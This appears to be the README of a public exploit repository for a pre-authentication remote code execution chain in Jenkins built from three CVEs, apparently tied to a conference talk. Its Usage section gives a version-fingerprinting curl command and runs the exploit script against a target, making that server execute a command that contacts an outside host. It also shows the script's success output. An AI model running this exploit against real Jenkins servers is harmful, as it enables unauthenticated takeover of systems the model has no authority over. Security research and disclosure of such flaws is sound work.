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awesome-jenkins-rce-2019

There is no pre-auth RCE in Jenkins since May 2017, but this is the one!

It chains CVE-2018-1000861, CVE-2019-1003005 and CVE-2019-1003029 to a more reliable and elegant pre-auth remote code execution!

Affect list

Usage

$ curl -s -I http://jenkins/| grep X-Jenkins
X-Jenkins: 2.137
X-Jenkins-Session: 20f72c2e
X-Jenkins-CLI-Port: 50000
X-Jenkins-CLI2-Port: 50000

$ python exp.py http://jenkins/ 'curl orange.tw'
[*] ANONYMOUS_READ disable!
[*] Bypass with CVE-2018-1000861!
[*] Exploit success!(it should be :P)

Tested on

Acknowledgements

Part slides from my HITB AMS 2019 talk:

1.png 2.png 3.png

References